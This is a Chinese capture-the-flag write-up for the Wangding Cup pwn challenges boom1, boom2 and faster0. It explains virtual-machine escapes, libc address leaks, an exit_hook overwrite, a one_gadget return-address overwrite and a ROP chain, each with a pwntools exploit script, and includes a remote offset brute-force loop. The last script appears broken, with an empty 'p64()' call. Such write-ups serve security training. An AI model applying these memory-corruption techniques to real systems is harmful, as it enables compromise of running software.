网鼎杯writeup

0x0 前言

这次的pwn基本上都是vm pwn,虚拟指令集,这类题代码量大,需要逆向时间长。但做这类题的关键点在于找到虚拟机中和真实环境的交互点,找到可以泄露真实地址的方式之后这种题基本就稳了。

0x1 boom1

1.1 题目分析与解题思路

这道题就是一个语言解析器,也就是你输入什么代码就执行什么,但是函数只能用一次。

而这道题逃逸的突破口在于它可以用程序里的变量来泄露它真机中的真实地址。

解题思路是用它自身的变量来获取libc,然后打exit_hook即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
r = process('./boom1')

context.log_level = 'DEBUG'

#gdb.attach(r)

payload = '''
int buf ;
int main() {
int a;
int ptr;
int libc_base;
ptr = &buf;
libc_base = ptr - 0x503010;
ptr = libc_base + 0x5f0f48;

read(0,ptr,3);
return 0;
}
'''

r.recvline()
r.sendline(payload)
r.recv(timeout=1)

r.recv(timeout=1)
#gdb.attach(r)
r.send('\x47\xe1\xAf')

# libc = int(r.recvline(),16)
# print "libc: " + hex(libc)

r.interactive()

1.2 libc位置情况下的偏移爆破

由于libc版本未知,远程偏移未知,所以需要爆破偏移,从-99到99爆破,从网上找到了别人爆破的脚本,学到了新的知识。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
if __name__ == "__main__":
for x in range(-99, 99):
············
libc.address = leaked - 0x612500 - 0x1000 * x
success("libc -> {:#x}".format(libc.address))
···········
try:
io.recv()
io.sendline("ls")
if "flag" in io.recv():
io.interactive()
else:
io.close()
io = remote("node3.buuoj.cn", 27119)
# io = process("./hardcore_fmt")
except Exception:
io.close()
# io = process("./hardcore_fmt")
io = remote("node3.buuoj.cn", 27119)

0x2 boom2

2.1 分析题目

首先用malloc分配了两块内存,分析后得出一块是栈,代码段,分析前面这块的行为,它把真实的栈地址push到了虚拟的栈中,这里是突破的一个关键点,提供了我们突破虚拟机的限制来与虚拟内存之外进行交互。

然后看下图,我们输入的内容是进入到buf中的,也就是代码段,然后程序对我们的输入进行取址,译码。

再下一步就是根据取到的指令进行执行

经过分析以后可知,各操作数对应的指令为(带imm的指令就是有一个原操作数是立即数)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
0 imm: temp = ebp_now + imm
1 imm: temp = imm;
6 imm: push ebp_now; ebp_now = esp_now; esp_now -= imm;
8 : leave; ret;
9 : temp = *(qword*)temp
10 : temp = *(char*)temp
11 : **esp_now = temp; ++esp_now; 8byte
12 : **esp_now = temp; ++esp_now; 1byte
13 : push temp
14 : temp |= *esp now; pop;
15 : temp ^= *esp now; pop;
16 : temp &= *esp now; pop;
17 : temp = temp == *esp now; pop;
18 : !=
19 : <
20 : >
21 : <=
22 : >=
23 : <<
24 : >>
25 : +
26 : temp = *esp_now - temp;
27 : *
28 : /
29 : %
30 : exit

2.2 解题思路

  1. 先用14指令pop一下,这个时候temp中存的就是真实的栈指针了
  2. 再利用1指令和26计算出返回地址的位置,13来把计算结果存到栈上
  3. 用9指令获取返回地址里的内容(libc_start_main+231),然后再用13保存到栈上
  4. 利用1和26计算libc基址,然后再用13保存到栈上
  5. 利用1和25计算onegadget的偏移
  6. 最后利用11把onegadget写入返回地址

2.3 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import * 
p=process("./pwn")

libc231=0x7f9848c0cb97-0x7f9848beb000
onegadget=0x4f2c5
print p.recv()

payload=p64(14) #步骤1
payload+=p64(1)+p64(0xe8)+p64(26)+p64(13) #步骤2
payload+=p64(9)+p64(13) #步骤3
payload+=p64(1)+p64(libc231)+p64(26)+p64(13) #步骤4
payload+=p64(1)+p64(onegadget)+p64(25) #步骤5
payload+=p64(11) #步骤6
p.send(payload) #步骤7

p.interactive()

0x3 faster0

这个题,乍一看要做一百次选择,然后最后进入func100,有一个很简单的栈溢出,最笨的方法就是一个一个把100个都过了,也可以。但感觉会有更简单的方法,比如是不是能让atoi返回大于10的数,然后一直走func000,然后再直接跳到func095,不过自己没有实现。放一个学弟写的脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import * 
from LibcSearcher import LibcSearcher
context.log_level = 'DEBUG'
sh = process('./faster0')
num = '''
4 9 4 9 6 0 3 4 1 6
5 9 1 9 3 2 2 2 0 0
9 6 9 9 1 4 8 9 4 6
1 5 7 5 0 3 5 6 5 8
3 6 2 6 5 5 7 3 2 8
4 4 4 7 7 5 2 1 6 7
0 3 4 8 6 0 0 3 1 1
0 7 8 2 7 1 9 5 6 9
9 3 4 7 7 5 3 7 2 3
8 7 2 5 2 2 6 6 6 3
'''
rdi_ret = 0x0000000000406013
rsi_r15_ret = 0x0000000000406011
write_got = 0x609018
write_plt = 0x400640
start_addr = 0x4006c0
num = num.replace(' ','')
num = num.replace('\n','')
sh.sendline(num)
sh.recvuntil('WOW,U R GREAT !\n')
payload = 'a' * 0xd8 + p64(rdi_ret) + p64(1) + p64(rsi_r15_ret) + p64(write_got) + p64(0)
payload += p64(write_plt) + p64()
sh.send(payload)
sh.interactive()
-------------本文结束感谢您的阅读-------------
+ +